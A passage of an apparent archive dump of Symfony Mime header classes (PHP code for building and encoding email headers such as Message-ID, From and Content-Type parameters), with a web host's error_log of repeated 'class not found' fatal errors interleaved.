(\in_array($name, self::UNIQUE_HEADERS, true) && isset($this->headers[$name]) && \count($this->headers[$name]) > 0) { throw new LogicException(sprintf('Impossible to set header "%s" as it\'s already defined and must be unique.', $header->getName())); } $this->headers[$name][] = $header; return $this; } public function get(string $name): ?HeaderInterface { $name = strtolower($name); if (!isset($this->headers[$name])) { return null; } $values = array_values($this->headers[$name]); return array_shift($values); } public function all(string $name = null): iterable { if (null === $name) { foreach ($this->headers as $name => $collection) { foreach ($collection as $header) { yield $name => $header; } } } elseif (isset($this->headers[strtolower($name)])) { foreach ($this->headers[strtolower($name)] as $header) { yield $header; } } } public function getNames(): array { return array_keys($this->headers); } public function remove(string $name): void { unset($this->headers[strtolower($name)]); } public static function isUniqueHeader(string $name): bool { return \in_array(strtolower($name), self::UNIQUE_HEADERS, true); } /** * @throws LogicException if the header name and class are not compatible */ public static function checkHeaderClass(HeaderInterface $header): void { $name = strtolower($header->getName()); $headerClasses = self::HEADER_CLASS_MAP[$name] ?? []; if (!\is_array($headerClasses)) { $headerClasses = [$headerClasses]; } if (!$headerClasses) { return; } foreach ($headerClasses as $c) { if ($header instanceof $c) { return; } } throw new LogicException(sprintf('The "%s" header must be an instance of "%s" (got "%s").', $header->getName(), implode('" or "', $headerClasses), get_debug_type($header))); } public function toString(): string { $string = ''; foreach ($this->toArray() as $str) { $string .= $str."\r\n"; } return $string; } public function toArray(): array { $arr = []; foreach ($this->all() as $header) { if ('' !== $header->getBodyAsString()) { $arr[] = $header->toString(); } } return $arr; } public function getHeaderBody(string $name): mixed { return $this->has($name) ? $this->get($name)->getBody() : null; } /** * @internal */ public function setHeaderBody(string $type, string $name, mixed $body): void { if ($this->has($name)) { $this->get($name)->setBody($body); } else { $this->{'add'.$type.'Header'}($name, $body); } } public function getHeaderParameter(string $name, string $parameter): ?string { if (!$this->has($name)) { return null; } $header = $this->get($name); if (!$header instanceof ParameterizedHeader) { throw new LogicException(sprintf('Unable to get parameter "%s" on header "%s" as the header is not of class "%s".', $parameter, $name, ParameterizedHeader::class)); } return $header->getParameter($parameter); } /** * @internal */ public function setHeaderParameter(string $name, string $parameter, ?string $value): void { if (!$this->has($name)) { throw new LogicException(sprintf('Unable to set parameter "%s" on header "%s" as the header is not defined.', $parameter, $name)); } $header = $this->get($name); if (!$header instanceof ParameterizedHeader) { throw new LogicException(sprintf('Unable to set parameter "%s" on header "%s" as the header is not of class "%s".', $parameter, $name, ParameterizedHeader::class)); } $header->setParameter($parameter, $value); } } mime/Header/IdentificationHeader.php000064400000004520151113512110013426 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Header; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\Exception\RfcComplianceException; /** * An ID MIME Header for something like Message-ID or Content-ID (one or more addresses). * * @author Chris Corbyn */ final class IdentificationHeader extends AbstractHeader { private array $ids = []; private array $idsAsAddresses = []; public function __construct(string $name, string|array $ids) { parent::__construct($name); $this->setId($ids); } /** * @param string|string[] $body a string ID or an array of IDs * * @throws RfcComplianceException */ public function setBody(mixed $body): void { $this->setId($body); } public function getBody(): array { return $this->getIds(); } /** * Set the ID used in the value of this header. * * @param string|string[] $id * * @throws RfcComplianceException */ public function setId(string|array $id): void { $this->setIds(\is_array($id) ? $id : [$id]); } /** * Get the ID used in the value of this Header. * * If multiple IDs are set only the first is returned. */ public function getId(): ?string { return $this->ids[0] ?? null; } /** * Set a collection of IDs to use in the value of this Header. * * @param string[] $ids * * @throws RfcComplianceException */ public function setIds(array $ids): void { $this->ids = []; $this->idsAsAddresses = []; foreach ($ids as $id) { $this->idsAsAddresses[] = new Address($id); $this->ids[] = $id; } } /** * Get the list of IDs used in this Header. * * @return string[] */ public function getIds(): array { return $this->ids; } public function getBodyAsString(): string { $addrs = []; foreach ($this->idsAsAddresses as $address) { $addrs[] = '<'.$address->toString().'>'; } return implode(' ', $addrs); } } mime/Header/ParameterizedHeader.php000064400000014361151113512110013275 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Header; use Symfony\Component\Mime\Encoder\Rfc2231Encoder; /** * @author Chris Corbyn */ final class ParameterizedHeader extends UnstructuredHeader { /** * RFC 2231's definition of a token. * * @var string */ public const TOKEN_REGEX = '(?:[\x21\x23-\x27\x2A\x2B\x2D\x2E\x30-\x39\x41-\x5A\x5E-\x7E]+)'; private ?Rfc2231Encoder $encoder = null; private array $parameters = []; public function __construct(string $name, string $value, array $parameters = []) { parent::__construct($name, $value); foreach ($parameters as $k => $v) { $this->setParameter($k, $v); } if ('content-type' !== strtolower($name)) { $this->encoder = new Rfc2231Encoder(); } } public function setParameter(string $parameter, ?string $value): void { $this->setParameters(array_merge($this->getParameters(), [$parameter => $value])); } public function getParameter(string $parameter): string { return $this->getParameters()[$parameter] ?? ''; } /** * @param string[] $parameters */ public function setParameters(array $parameters): void { $this->parameters = $parameters; } /** * @return string[] */ public function getParameters(): array { return $this->parameters; } public function getBodyAsString(): string { $body = parent::getBodyAsString(); foreach ($this->parameters as $name => $value) { if (null !== $value) { $body .= '; '.$this->createParameter($name, $value); } } return $body; } /** * Generate a list of all tokens in the final header. * * This doesn't need to be overridden in theory, but it is for implementation * reasons to prevent potential breakage of attributes. */ protected function toTokens(string $string = null): array { $tokens = parent::toTokens(parent::getBodyAsString()); // Try creating any parameters foreach ($this->parameters as $name => $value) { if (null !== $value) { // Add the semi-colon separator $tokens[\count($tokens) - 1] .= ';'; $tokens = array_merge($tokens, $this->generateTokenLines(' '.$this->createParameter($name, $value))); } } return $tokens; } /** * Render an RFC 2047 compliant header parameter from the $name and $value. */ private function createParameter(string $name, string $value): string { $origValue = $value; $encoded = false; // Allow room for parameter name, indices, "=" and DQUOTEs $maxValueLength = $this->getMaxLineLength() - \strlen($name.'=*N"";') - 1; $firstLineOffset = 0; // If it's not already a valid parameter value... if (!preg_match('/^'.self::TOKEN_REGEX.'$/D', $value)) { // TODO: text, or something else?? // ... and it's not ascii if (!preg_match('/^[\x00-\x08\x0B\x0C\x0E-\x7F]*$/D', $value)) { $encoded = true; // Allow space for the indices, charset and language $maxValueLength = $this->getMaxLineLength() - \strlen($name.'*N*="";') - 1; $firstLineOffset = \strlen($this->getCharset()."'".$this->getLanguage()."'"); } if (\in_array($name, ['name', 'filename'], true) && 'form-data' === $this->getValue() && 'content-disposition' === strtolower($this->getName()) && preg_match('//u', $value)) { // WHATWG HTML living standard 4.10.21.8 2 specifies: // For field names and filenames for file fields, the result of the // encoding in the previous bullet point must be escaped by replacing // any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` // and 0x22 (") with `%22`. // The user agent must not perform any other escapes. $value = str_replace(['"', "\r", "\n"], ['%22', '%0D', '%0A'], $value); if (\strlen($value) <= $maxValueLength) { return $name.'="'.$value.'"'; } $value = $origValue; } } // Encode if we need to if ($encoded || \strlen($value) > $maxValueLength) { if (null !== $this->encoder) { $value = $this->encoder->encodeString($origValue, $this->getCharset(), $firstLineOffset, $maxValueLength); } else { // We have to go against RFC 2183/2231 in some areas for interoperability $value = $this->getTokenAsEncodedWord($origValue); $encoded = false; } } $valueLines = $this->encoder ? explode("\r\n", $value) : [$value]; // Need to add indices if (\count($valueLines) > 1) { $paramLines = []; foreach ($valueLines as $i => $line) { $paramLines[] = $name.'*'.$i.$this->getEndOfParameterValue($line, true, 0 === $i); } return implode(";\r\n ", $paramLines); } else { return $name.$this->getEndOfParameterValue($valueLines[0], $encoded, true); } } /** * Returns the parameter value from the "=" and beyond. * * @param string $value to append */ private function getEndOfParameterValue(string $value, bool $encoded = false, bool $firstLine = false): string { $forceHttpQuoting = 'form-data' === $this->getValue() && 'content-disposition' === strtolower($this->getName()); if ($forceHttpQuoting || !preg_match('/^'.self::TOKEN_REGEX.'$/D', $value)) { $value = '"'.$value.'"'; } $prepend = '='; if ($encoded) { $prepend = '*='; if ($firstLine) { $prepend = '*='.$this->getCharset()."'".$this->getLanguage()."'"; } } return $prepend.$value; } } mime/Header/MailboxHeader.php000064400000003660151113512110012074 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Header; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\Exception\RfcComplianceException; /** * A Mailbox MIME Header for something like Sender (one named address). * * @author Fabien Potencier */ final class MailboxHeader extends AbstractHeader { private Address $address; public function __construct(string $name, Address $address) { parent::__construct($name); $this->setAddress($address); } /** * @param Address $body * * @throws RfcComplianceException */ public function setBody(mixed $body): void { $this->setAddress($body); } /** * @throws RfcComplianceException */ public function getBody(): Address { return $this->getAddress(); } /** * @throws RfcComplianceException */ public function setAddress(Address $address): void { $this->address = $address; } public function getAddress(): Address { return $this->address; } public function getBodyAsString(): string { $str = $this->address->getEncodedAddress(); if ($name = $this->address->getName()) { $str = $this->createPhrase($this, $name, $this->getCharset(), true).' <'.$str.'>'; } return $str; } /** * Redefine the encoding requirements for an address. * * All "specials" must be encoded as the full header value will not be quoted * * @see RFC 2822 3.2.1 */ protected function tokenNeedsEncoding(string $token): bool { return preg_match('/[()<>\[\]:;@\,."]/', $token) || parent::tokenNeedsEncoding($token); } } mime/Header/MailboxListHeader.php000064400000006147151113512110012733 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Header; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\Exception\RfcComplianceException; /** * A Mailbox list MIME Header for something like From, To, Cc, and Bcc (one or more named addresses). * * @author Chris Corbyn */ final class MailboxListHeader extends AbstractHeader { private array $addresses = []; /** * @param Address[] $addresses */ public function __construct(string $name, array $addresses) { parent::__construct($name); $this->setAddresses($addresses); } /** * @param Address[] $body * * @throws RfcComplianceException */ public function setBody(mixed $body): void { $this->setAddresses($body); } /** * @return Address[] * * @throws RfcComplianceException */ public function getBody(): array { return $this->getAddresses(); } /** * Sets a list of addresses to be shown in this Header. * * @param Address[] $addresses * * @throws RfcComplianceException */ public function setAddresses(array $addresses): void { $this->addresses = []; $this->addAddresses($addresses); } /** * Sets a list of addresses to be shown in this Header. * * @param Address[] $addresses * * @throws RfcComplianceException */ public function addAddresses(array $addresses): void { foreach ($addresses as $address) { $this->addAddress($address); } } /** * @throws RfcComplianceException */ public function addAddress(Address $address): void { $this->addresses[] = $address; } /** * @return Address[] */ public function getAddresses(): array { return $this->addresses; } /** * Gets the full mailbox list of this Header as an array of valid RFC 2822 strings. * * @return string[] * * @throws RfcComplianceException */ public function getAddressStrings(): array { $strings = []; foreach ($this->addresses as $address) { $str = $address->getEncodedAddress(); if ($name = $address->getName()) { $str = $this->createPhrase($this, $name, $this->getCharset(), !$strings).' <'.$str.'>'; } $strings[] = $str; } return $strings; } public function getBodyAsString(): string { return implode(', ', $this->getAddressStrings()); } /** * Redefine the encoding requirements for addresses. * * All "specials" must be encoded as the full header value will not be quoted * * @see RFC 2822 3.2.1 */ protected function tokenNeedsEncoding(string $token): bool { return preg_match('/[()<>\[\]:;@\,."]/', $token) || parent::tokenNeedsEncoding($token); } } mime/Header/HeaderInterface.php000064400000002761151113512110012402 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Header; /** * A MIME Header. * * @author Chris Corbyn */ interface HeaderInterface { /** * Sets the body. * * The type depends on the Header concrete class. * * @return void */ public function setBody(mixed $body); /** * Gets the body. * * The return type depends on the Header concrete class. */ public function getBody(): mixed; /** * @return void */ public function setCharset(string $charset); public function getCharset(): ?string; /** * @return void */ public function setLanguage(string $lang); public function getLanguage(): ?string; public function getName(): string; /** * @return void */ public function setMaxLineLength(int $lineLength); public function getMaxLineLength(): int; /** * Gets this Header rendered as a compliant string. */ public function toString(): string; /** * Gets the header's body, prepared for folding into a final header value. * * This is not necessarily RFC 2822 compliant since folding white space is * not added at this stage (see {@link toString()} for that). */ public function getBodyAsString(): string; } mime/Header/error_log000064400000036125151113512110010576 0ustar00[19-Nov-2025 16:37:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\UnstructuredHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php on line 19 [19-Nov-2025 16:50:10 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php on line 22 [19-Nov-2025 20:56:49 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 02:47:45 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 05:58:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxListHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxListHeader.php on line 22 [20-Nov-2025 06:38:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\UnstructuredHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php on line 19 [20-Nov-2025 06:41:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php on line 22 [20-Nov-2025 06:56:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 07:27:10 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\UnstructuredHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php on line 19 [20-Nov-2025 07:33:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 07:35:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php on line 22 [20-Nov-2025 10:28:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\UnstructuredHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php on line 19 [20-Nov-2025 10:33:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php on line 22 [20-Nov-2025 10:46:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\UnstructuredHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php on line 19 [20-Nov-2025 10:57:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 11:47:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\UnstructuredHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php on line 19 [20-Nov-2025 11:51:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 11:54:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php on line 22 [20-Nov-2025 11:59:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 12:03:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxListHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxListHeader.php on line 22 [20-Nov-2025 12:05:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\UnstructuredHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php on line 19 [20-Nov-2025 13:21:58 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxListHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxListHeader.php on line 22 [20-Nov-2025 13:22:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 13:30:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\UnstructuredHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php on line 19 [20-Nov-2025 13:38:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 14:09:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 14:10:47 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php on line 22 [20-Nov-2025 15:10:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 15:19:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [20-Nov-2025 15:25:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/UnstructuredHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/UnstructuredHeader.php on line 19 [25-Nov-2025 02:31:28 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/PathHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/PathHeader.php on line 22 [25-Nov-2025 02:32:13 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxListHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxListHeader.php on line 22 [25-Nov-2025 03:00:09 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Header\HeaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/AbstractHeader.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/AbstractHeader.php on line 21 [25-Nov-2025 03:01:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\UnstructuredHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php on line 19 [25-Nov-2025 03:23:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/DateHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/DateHeader.php on line 19 [25-Nov-2025 03:29:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/UnstructuredHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/UnstructuredHeader.php on line 19 [25-Nov-2025 06:29:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php on line 22 [25-Nov-2025 06:30:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [26-Nov-2025 00:38:28 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxListHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxListHeader.php on line 22 [26-Nov-2025 01:21:18 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/MailboxHeader.php on line 22 [26-Nov-2025 01:22:10 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/IdentificationHeader.php on line 22 [26-Nov-2025 01:30:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/UnstructuredHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/UnstructuredHeader.php on line 19 [26-Nov-2025 03:32:15 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\UnstructuredHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/ParameterizedHeader.php on line 19 [26-Nov-2025 03:32:21 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/DateHeader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/DateHeader.php on line 19 [26-Nov-2025 03:32:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Header\AbstractHeader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/PathHeader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Header/PathHeader.php on line 22 mime/Header/AbstractHeader.php000064400000024566151113512110012254 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Header; use Symfony\Component\Mime\Encoder\QpMimeHeaderEncoder; /** * An abstract base MIME Header. * * @author Chris Corbyn */ abstract class AbstractHeader implements HeaderInterface { public const PHRASE_PATTERN = '(?:(?:(?:(?:(?:(?:(?:[ \t]*(?:\r\n))?[ \t])?(\((?:(?:(?:[ \t]*(?:\r\n))?[ \t])|(?:(?:[\x01-\x08\x0B\x0C\x0E-\x19\x7F]|[\x21-\x27\x2A-\x5B\x5D-\x7E])|(?:\\[\x00-\x08\x0B\x0C\x0E-\x7F])|(?1)))*(?:(?:[ \t]*(?:\r\n))?[ \t])?\)))*(?:(?:(?:(?:[ \t]*(?:\r\n))?[ \t])?(\((?:(?:(?:[ \t]*(?:\r\n))?[ \t])|(?:(?:[\x01-\x08\x0B\x0C\x0E-\x19\x7F]|[\x21-\x27\x2A-\x5B\x5D-\x7E])|(?:\\[\x00-\x08\x0B\x0C\x0E-\x7F])|(?1)))*(?:(?:[ \t]*(?:\r\n))?[ \t])?\)))|(?:(?:[ \t]*(?:\r\n))?[ \t])))?[a-zA-Z0-9!#\$%&\'\*\+\-\/=\?\^_`\{\}\|~]+(?:(?:(?:(?:[ \t]*(?:\r\n))?[ \t])?(\((?:(?:(?:[ \t]*(?:\r\n))?[ \t])|(?:(?:[\x01-\x08\x0B\x0C\x0E-\x19\x7F]|[\x21-\x27\x2A-\x5B\x5D-\x7E])|(?:\\[\x00-\x08\x0B\x0C\x0E-\x7F])|(?1)))*(?:(?:[ \t]*(?:\r\n))?[ \t])?\)))*(?:(?:(?:(?:[ \t]*(?:\r\n))?[ \t])?(\((?:(?:(?:[ \t]*(?:\r\n))?[ \t])|(?:(?:[\x01-\x08\x0B\x0C\x0E-\x19\x7F]|[\x21-\x27\x2A-\x5B\x5D-\x7E])|(?:\\[\x00-\x08\x0B\x0C\x0E-\x7F])|(?1)))*(?:(?:[ \t]*(?:\r\n))?[ \t])?\)))|(?:(?:[ \t]*(?:\r\n))?[ \t])))?)|(?:(?:(?:(?:(?:[ \t]*(?:\r\n))?[ \t])?(\((?:(?:(?:[ \t]*(?:\r\n))?[ 